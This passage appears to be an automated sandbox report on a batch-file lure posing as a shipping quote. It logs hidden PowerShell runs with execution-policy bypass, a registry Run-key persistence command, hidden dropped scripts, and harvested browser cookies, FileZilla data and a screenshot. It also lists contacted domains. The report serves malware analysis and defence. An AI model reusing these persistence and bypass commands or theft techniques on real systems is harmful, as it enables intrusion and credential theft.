/optimize+ /warnaserror /optimize+ "C:\Users\HAPUBWS\AppData\Local\Temp\ubgrkq2f\ubgrkq2f.0.cs"" [Source: ubgrkq2f.cmdline] Observed system executable string:"/t:library /utf8output /R:"System.dll" /R:"C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\HAPUBWS\AppData\Local\Temp\wdkx4uyy\wdkx4uyy.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\HAPUBWS\AppData\Local\Temp\wdkx4uyy\wdkx4uyy.0.cs"" [Source: wdkx4uyy.cmdline] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00002240-00000C2E-1108755494] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00002240-00000C2B-2027978109] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00002240-00000C2B-2028126242] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00002240-00000C2B-2028214781] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00002240-00000C2B-2028346003] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00002240-00000C2B-2028438669] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00002240-00000C2B-2028487095] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00002240-00000C2B-2028545452] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00002240-00000C2B-2028615642] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00002240-00000C2B-2028666473] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00002240-00000C2B-2028754278] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00002240-00000C2B-2028966772] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00002240-00000C2B-2029074760] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00002240-00000C2B-2029305389] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00002240-00000C2B-2029361093] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00002240-00000C2B-2029731262] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00002240-00000C2B-2029771473] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00002240-00000C2B-2029815263] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00002240-00000C2B-2029843649] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00002240-00000C2B-2029913449] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00002240-00000C2B-2029949599]43:T559,Spawned process "cmd.exe" with commandline "/K "C:\\RFQ#126826.03.26-mvArunaCengiz_IMO9552331_.bat"" (UID: 00000000-00001468) Spawned process "attrib.exe" with commandline "attrib +h +s "%APPDATA%\\Microsoft\\Windows\\Templates\\TREATME ..." (UID: 00000000-00002172), Spawned process "attrib.exe" with commandline "attrib +h +s "%APPDATA%\\Microsoft\\Windows\\Templates\\Togethe ..." (UID: 00000000-00007244) Spawned process "reg.exe" with commandline "reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Ru ..." (UID: 00000000-00004144), Spawned process "powershell.exe" with commandline "powershell -nop -w h -ep bypass -c "try { $TEENAGER = [IO.File] ..." (UID: 00000000-00002240) Spawned process "powershell.exe" with commandline "-nop -w h -ep bypass -f "%TEMP%\\Valuable.ps1"" (UID: 00000000-00004004) Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\wdkx4uyy\\wdkx4uyy.cmdline"" (UID: 00000000-00005596) Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RES64F4.tmp" "%TEM ..." (UID: 00000000-00005484), Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\ubgrkq2f\\ubgrkq2f.cmdline"" (UID: 00000000-00006080), Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RES67E2.tmp" "%TEM ..." (UID: 00000000-00006168)44:T559,Spawned process "cmd.exe" with commandline "/K "C:\\RFQ#126826.03.26-mvArunaCengiz_IMO9552331_.bat"" (UID: 00000000-00001468) Spawned process "attrib.exe" with commandline "attrib +h +s "%APPDATA%\\Microsoft\\Windows\\Templates\\TREATME ..." (UID: 00000000-00002172), Spawned process "attrib.exe" with commandline "attrib +h +s "%APPDATA%\\Microsoft\\Windows\\Templates\\Togethe ..." (UID: 00000000-00007244) Spawned process "reg.exe" with commandline "reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Ru ..." (UID: 00000000-00004144), Spawned process "powershell.exe" with commandline "powershell -nop -w h -ep bypass -c "try { $TEENAGER = [IO.File] ..." (UID: 00000000-00002240) Spawned process "powershell.exe" with commandline "-nop -w h -ep bypass -f "%TEMP%\\Valuable.ps1"" (UID: 00000000-00004004) Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\wdkx4uyy\\wdkx4uyy.cmdline"" (UID: 00000000-00005596) Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RES64F4.tmp" "%TEM ..." (UID: 00000000-00005484), Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\ubgrkq2f\\ubgrkq2f.cmdline"" (UID: 00000000-00006080), Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RES67E2.tmp" "%TEM ..." (UID: 00000000-00006168)45:Taf9,"TREATMENT.cmd" has type "HTML document ASCII text with very long lines (61971) with CRLF line terminators"- Location: [%APPDATA%\Microsoft\Windows\Templates\TREATMENT.cmd]- [targetUID: 00000000-00001468] "Valuable.ps1" has type "Unicode text UTF-8 (with BOM) text with very long lines (64687)"- Location: [%TEMP%\Valuable.ps1]- [targetUID: 00000000-00001468] "Together.hta" has type "HTML document ASCII text with CRLF line terminators"- Location: [%APPDATA%\Microsoft\Windows\Templates\Together.hta]- [targetUID: 00000000-00001468] "DESKTOP-FVVF82A_20260317_054914.png" has type "PNG image data 1280 x 800 8-bit/color RGBA non-interlaced"- Location: [%TEMP%\6088ff36705250809b0c555a7c7eb25b\DESKTOP-FVVF82A_20260317_054914.png]- [targetUID: 00000000-00005396] "Gecko_cookies_DESKTOP-FVVF82A_2026-03-17_05.49.03.json" has type "JSON text data"- Location: [%TEMP%\6088ff36705250809b0c555a7c7eb25b\Gecko_cookies_DESKTOP-FVVF82A_2026-03-17_05.49.03.json]- [targetUID: 00000000-00005396] "Chromium_cookies_DESKTOP-FVVF82A_2026-03-17_05.49.00.json" has type "JSON text data"- Location: [%TEMP%\6088ff36705250809b0c555a7c7eb25b\Chromium_cookies_DESKTOP-FVVF82A_2026-03-17_05.49.00.json]- [targetUID: 00000000-00005396] "wdkx4uyy.out" has type "Unicode text UTF-8 (with BOM) text with very long lines (433) with CRLF CR line terminators"- Location: [%TEMP%\wdkx4uyy\wdkx4uyy.out]- [targetUID: 00000000-00004004] "ubgrkq2f.out" has type "Unicode text UTF-8 (with BOM) text with very long lines (433) with CRLF CR line terminators"- Location: [%TEMP%\ubgrkq2f\ubgrkq2f.out]- [targetUID: 00000000-00004004] "ubgrkq2f.0.cs" has type "C++ source Unicode text UTF-8 (with BOM) text"- Location: [%TEMP%\ubgrkq2f\ubgrkq2f.0.cs]- [targetUID: 00000000-00004004] "wdkx4uyy.0.cs" has type "C++ source Unicode text UTF-8 (with BOM) text"- Location: [%TEMP%\wdkx4uyy\wdkx4uyy.0.cs]- [targetUID: 00000000-00004004] "ubgrkq2f.cmdline" has type "Unicode text UTF-8 (with BOM) text with very long lines (370) with no line terminators"- Location: [%TEMP%\ubgrkq2f\ubgrkq2f.cmdline]- [targetUID: 00000000-00004004] "wdkx4uyy.cmdline" has type "Unicode text UTF-8 (with BOM) text with very long lines (370) with no line terminators"- Location: [%TEMP%\wdkx4uyy\wdkx4uyy.cmdline]- [targetUID: 00000000-00004004] "FileZilla_DESKTOP-FVVF82A_2026-03-17_05.49.03.txt" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\6088ff36705250809b0c555a7c7eb25b\FileZilla_DESKTOP-FVVF82A_2026-03-17_05.49.03.txt]- [targetUID: 00000000-00005396] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00004004] "TREATMENT.cmd%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A]46:T71d,"cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\CONHOST.EXE"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\BAM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "")47:Taee,"cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "AGGRESSIVEMTATESTING"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "CMD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SYSTEM"; Key: "DISABLECMD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\COMMAND PROCESSOR"; Key: "DISABLEUNCCHECK"; Value: "")48:Ta58,"cmd.exe" trying to access non-existent file "C:\POWERSHELL.EXE" "cmd.exe" trying to access non-existent file "C:\powershell.exe" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\UCRTBASE_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLE32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\OLEAUT32.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\BCRYPT.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\bcrypt.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTBASE.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\CRYPTBASE.dll"49:T846,"cmd.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Templates\TREATMENT.CMD" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Templates\TREATMENT.cmd" "powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.DATA.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.TRANSACTIONS.DLL.CONFIG" "powershell.exe" trying to access non-existent file "Z:\" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.XAML"4a:T534,Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00005396-00000C2C-2077539616") Found reference to API "gethostname" (Indicator: "gethostname"; Source: "00000000-00005396-00000C2C-2077556823") Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00002240.00000000.193762.B0F40000.00000004.mdmp, 00000000-00002240.00000001.193887.B0FF7000.00000004.mdmp") Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp, 00000000-00002240.00000001.193887.CB1E0000.00000004.mdmp") Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00004004.00000000.194219.09DD0000.00000004.mdmp, 00000000-00004004.00000001.195692.09E00000.00000004.mdmp") Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00004004.00000000.194219.09DD0000.00000004.mdmp, 00000000-00004004.00000001.195692.09E00000.00000004.mdmp")4b:T15f0,Pattern match: "www.google.com" Pattern match: "www.msn.com" Pattern match: "http://go.microsoft.com/fwlink/?linkid=533240" Heuristic match: "icanhazip.com" Heuristic match: "mail.taikei-rmc-co.biz" Heuristic match: "co.biz" Heuristic match: "o.biz" Pattern match: "http://icanhazip" Pattern match: "http://www.validationtest.contoso.com/test%d.html" Pattern match: "microsoft.net/framework64/v4.0.30319/" Heuristic match: "microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "ntrust.net" Heuristic match: "ystem.management.automation.re" Heuristic match: "ion.re" Pattern match: "microsoft.net/assembly/gac_64/mscorlib/v4.0_4.0.0.0__b77a5c561934e089/mscorlib.dll" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "www.digicert.com1$0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "0www.entrust.net/cps" Pattern match: "http://repository.swisssign.com/0" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "www.digicert.com1!0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "http://www.microsoft.com0" Pattern match: "crl.microsoft.com/pki/crl/products/mictimsta" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" Pattern match: "www.microsoft.com/pki/docs/cps/default.htm0@" Heuristic match: "ement.automation.re" Heuristic match: "t.automation.re" Heuristic match: "6299.15.cat" Heuristic match: "5.cat" Pattern match: "http://www.microsoft.com/windows" Heuristic match: "package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: ":\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "microsoft.net/assembly/gac_msil/system.management.automation/v4.0_3.0.0.0__31bf3856ad364e35/system.management.automation.dll" Pattern match: "http://crl.globalsign.net/root.cr" Pattern match: "rosoft.com/pd" Heuristic match: "qk.mr"4c:T8d48,Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcthawte," - Source: "00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp") Found URL 